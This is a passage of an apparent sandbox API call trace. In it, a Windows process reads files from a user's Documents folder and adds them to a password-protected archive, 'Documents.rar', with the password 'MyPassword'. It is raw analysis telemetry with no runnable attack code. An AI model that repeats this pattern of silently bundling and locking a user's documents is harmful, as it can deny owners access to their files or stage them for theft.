hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x58f0, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x58f0, lpOverlapped=0x0) returned 1 [0081.792] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0081.792] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.792] SetFilePointer (in: hFile=0x32c, lDistanceToMove=25, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x19 [0081.792] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x19 [0081.792] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1162e88aa30 [0081.792] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1162e88aa00 [0081.792] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e88aa00, Size=0x48) returned 0x1162e888ea0 [0081.792] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0081.792] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1162e88aa00 [0081.792] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e88aa00, Size=0x48) returned 0x1162e888810 [0081.792] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0081.792] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0081.792] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1162e88aa00 [0081.793] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e30 [0081.793] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e30 | out: hHeap=0x1162e7c0000) returned 1 [0081.793] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e88aa00 | out: hHeap=0x1162e7c0000) returned 1 [0081.793] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e88aa30, Size=0x48) returned 0x1162e888ea0 [0081.793] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ea0, Size=0x7a) returned 0x1162e7f4e50 [0081.793] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e7f4e53*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e7f4e53*, lpNumberOfBytesWritten=0x141a0d82c0*=0x65, lpOverlapped=0x0) returned 1 [0081.793] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1162e88aa00 [0081.793] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x65) returned 0x1162e7f9df0 [0081.793] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888810 | out: hHeap=0x1162e7c0000) returned 1 [0081.793] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f4e50 | out: hHeap=0x1162e7c0000) returned 1 [0081.793] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x596e [0081.793] CloseHandle (hObject=0x350) returned 1 [0081.793] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0081.793] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.793] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0081.793] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.793] FindFirstFileW (in: lpFileName="5okJ0wdSjHps.docx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0081.793] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0081.793] CreateFileW (lpFileName="5okJ0wdSjHps.docx" (normalized: "c:\\users\\fd1hvy\\documents\\5okj0wdsjhps.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0081.794] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0081.794] GetTickCount () returned 0x2a425 [0081.794] GetLastError () returned 0x0 [0081.794] SetLastError (dwErrCode=0x0) [0081.794] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0081.794] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0081.794] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbf90, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0081.794] SetWindowTextW (hWnd=0x10302, lpString=" 0%") returned 1 [0081.794] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0081.795] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0081.795] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0081.795] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0081.795] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0081.795] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="-3PSVPdo1rq8.docx") returned 17 [0081.795] SetWindowTextW (hWnd=0x10300, lpString="5okJ0wdSjHps.docx") returned 1 [0081.796] GetTickCount () returned 0x2a425 [0081.796] UpdateWindow (hWnd=0x102f8) returned 1 [0081.796] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0081.796] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x1163028ed90) returned 1 [0081.796] CryptGenRandom (in: hProv=0x1163028ed90, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0081.796] CryptReleaseContext (hProv=0x1163028ed90, dwFlags=0x0) returned 1 [0081.796] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x3b, wMilliseconds=0x120)) [0081.796] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0081.796] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17312499738) returned 1 [0081.796] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x598a, lpOverlapped=0x0) returned 1 [0081.797] ReadFile (in: hFile=0x350, lpBuffer=0x11631b939ca, nNumberOfBytesToRead=0xfa676, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b939ca*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0081.797] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1162e88aa30 [0081.797] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079d10 [0081.797] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079d10, Size=0x48) returned 0x1162e8893a0 [0081.797] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d9b0 [0081.797] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079950 [0081.797] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079950, Size=0x48) returned 0x1162e888900 [0081.797] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d9b0 | out: hHeap=0x1162e7c0000) returned 1 [0081.797] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0081.797] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f50 [0081.797] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0d0 [0081.797] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163207a0d0 | out: hHeap=0x1162e7c0000) returned 1 [0081.797] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079f50 | out: hHeap=0x1162e7c0000) returned 1 [0081.797] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e88aa30, Size=0x48) returned 0x1162e888ea0 [0081.797] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ea0, Size=0x7a) returned 0x1162e7f4e50 [0081.797] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888900 | out: hHeap=0x1162e7c0000) returned 1 [0081.797] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f4e50 | out: hHeap=0x1162e7c0000) returned 1 [0081.798] GetTickCount () returned 0x2a425 [0081.798] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17312694042) returned 1 [0081.798] GetTickCount () returned 0x2a425 [0081.798] GetTickCount () returned 0x2a425 [0081.798] GetTickCount () returned 0x2a425 [0081.798] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x141a0dd2e8 | out: ppv=0x141a0dd2e8*=0x1162e88aa30) returned 0x0 [0081.799] TaskbarList:ITaskbarList3:SetProgressState (This=0x1162e88aa30, hwnd=0x102f8, tbpFlags=2) returned 0x0 [0081.799] TaskbarList:ITaskbarList3:SetProgressValue (This=0x1162e88aa30, hwnd=0x102f8, ullCompleted=0xb223, ullTotal=0x31d668) returned 0x0 [0081.800] TaskbarList:IUnknown:Release (This=0x1162e88aa30) returned 0x0 [0081.800] GetLastError () returned 0x36b7 [0081.800] SetLastError (dwErrCode=0x36b7) [0081.800] GetDlgItem (hDlg=0x102f8, nIDDlgItem=157) returned 0x1031a [0081.800] GetDlgItem (hDlg=0x102f8, nIDDlgItem=152) returned 0x10318 [0081.800] GetWindowTextW (in: hWnd=0x10318, lpString=0x141a0dbeb0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0081.800] SetWindowTextW (hWnd=0x10318, lpString=" 1%") returned 1 [0081.800] GetLastError () returned 0x0 [0081.800] SetLastError (dwErrCode=0x0) [0081.800] GetDlgItem (hDlg=0x102f8, nIDDlgItem=164) returned 0x10314 [0081.800] GetWindowTextW (in: hWnd=0x10314, lpString=0x141a0dbeb0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0081.800] SetWindowTextW (hWnd=0x10314, lpString=" 49%") returned 1 [0081.801] SendMessageW (hWnd=0x1031a, Msg=0x402, wParam=0x1, lParam=0x0) returned 0x0 [0081.801] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0081.801] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0081.801] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.801] ResetEvent (hEvent=0x344) returned 1 [0081.801] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0081.803] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0081.803] ResetEvent (hEvent=0x344) returned 1 [0081.803] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0081.804] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0081.804] GetTickCount () returned 0x2a425 [0081.804] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17313268252) returned 1 [0081.804] GetTickCount () returned 0x2a425 [0081.804] GetTickCount () returned 0x2a425 [0081.804] GetTickCount () returned 0x2a425 [0081.804] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0081.804] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0081.804] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.804] ResetEvent (hEvent=0x33c) returned 1 [0081.804] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0081.805] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0081.805] ResetEvent (hEvent=0x33c) returned 1 [0081.805] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0081.806] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0081.806] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0081.806] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.806] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x596e [0081.806] SetFilePointer (in: hFile=0x32c, lDistanceToMove=101, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x59d3 [0081.806] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0081.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0081.806] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0081.806] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0081.806] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0081.806] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x59f0, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x59f0, lpOverlapped=0x0) returned 1 [0081.807] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0081.807] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.807] SetFilePointer (in: hFile=0x32c, lDistanceToMove=22894, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x596e [0081.807] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x596e [0081.807] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1162e88aa30 [0081.807] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079ad0 [0081.807] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079ad0, Size=0x48) returned 0x1162e888ea0 [0081.807] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86dcb0 [0081.807] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a040 [0081.807] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a040, Size=0x48) returned 0x1162e8893a0 [0081.807] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86dcb0 | out: hHeap=0x1162e7c0000) returned 1 [0081.807] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0081.807] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f20 [0081.807] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a70 [0081.807] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079a70 | out: hHeap=0x1162e7c0000) returned 1 [0081.807] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079f20 | out: hHeap=0x1162e7c0000) returned 1 [0081.807] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e88aa30, Size=0x48) returned 0x1162e889120 [0081.807] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e889120, Size=0x7a) returned 0x1162e7f44c0 [0081.807] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e7f44c3*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e7f44c3*, lpNumberOfBytesWritten=0x141a0d82c0*=0x65, lpOverlapped=0x0) returned 1 [0081.807] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1162e88aa30 [0081.808] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x65) returned 0x1162e7f9e60 [0081.808] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0081.808] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f44c0 | out: hHeap=0x1162e7c0000) returned 1 [0081.808] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0xb3c3 [0081.808] CloseHandle (hObject=0x350) returned 1 [0081.808] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0081.808] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.808] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0081.808] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.808] FindFirstFileW (in: lpFileName="5YJHRW-JZoT5E S09D.pptx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0081.808] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0081.808] CreateFileW (lpFileName="5YJHRW-JZoT5E S09D.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\5yjhrw-jzot5e s09d.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0081.808] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0081.808] GetTickCount () returned 0x2a435 [0081.808] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0081.809] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0081.809] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0081.809] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0081.809] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="5okJ0wdSjHps.docx") returned 17 [0081.809] SetWindowTextW (hWnd=0x10300, lpString="5YJHRW-JZoT5E S09D.pptx") returned 1 [0081.809] GetTickCount () returned 0x2a435 [0081.809] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0081.809] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x1163028ed90) returned 1 [0081.810] CryptGenRandom (in: hProv=0x1163028ed90, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0081.810] CryptReleaseContext (hProv=0x1163028ed90, dwFlags=0x0) returned 1 [0081.810] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x3b, wMilliseconds=0x12f)) [0081.810] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0081.810] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17313828493) returned 1 [0081.810] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x77d, lpOverlapped=0x0) returned 1 [0081.810] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e7bd, nNumberOfBytesToRead=0xff883, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e7bd*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0081.810] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a40 [0081.810] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079d40 [0081.810] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079d40, Size=0x48) returned 0x1162e889440 [0081.810] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86dd70 [0081.810] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079dd0 [0081.810] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079dd0, Size=0x48) returned 0x1162e889530 [0081.810] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86dd70 | out: hHeap=0x1162e7c0000) returned 1 [0081.811] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e889440 | out: hHeap=0x1162e7c0000) returned 1 [0081.811] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0d0 [0081.811] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b90 [0081.811] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079b90 | out: hHeap=0x1162e7c0000) returned 1 [0081.811] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163207a0d0 | out: hHeap=0x1162e7c0000) returned 1 [0081.811] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079a40, Size=0x48) returned 0x1162e8893a0 [0081.811] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e8893a0, Size=0x7a) returned 0x1162e7f4550 [0081.811] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e889530 | out: hHeap=0x1162e7c0000) returned 1 [0081.811] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f4550 | out: hHeap=0x1162e7c0000) returned 1 [0081.811] GetTickCount () returned 0x2a435 [0081.811] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17314001516) returned 1 [0081.811] GetTickCount () returned 0x2a435 [0081.811] GetTickCount () returned 0x2a435 [0081.811] GetTickCount () returned 0x2a435 [0081.811] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0081.812] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0081.812] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.812] ResetEvent (hEvent=0x344) returned 1 [0081.812] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0081.812] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0081.812] GetTickCount () returned 0x2a435 [0081.812] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17314079364) returned 1 [0081.812] GetTickCount () returned 0x2a435 [0081.812] GetTickCount () returned 0x2a435 [0081.812] GetTickCount () returned 0x2a435 [0081.812] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0081.812] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: 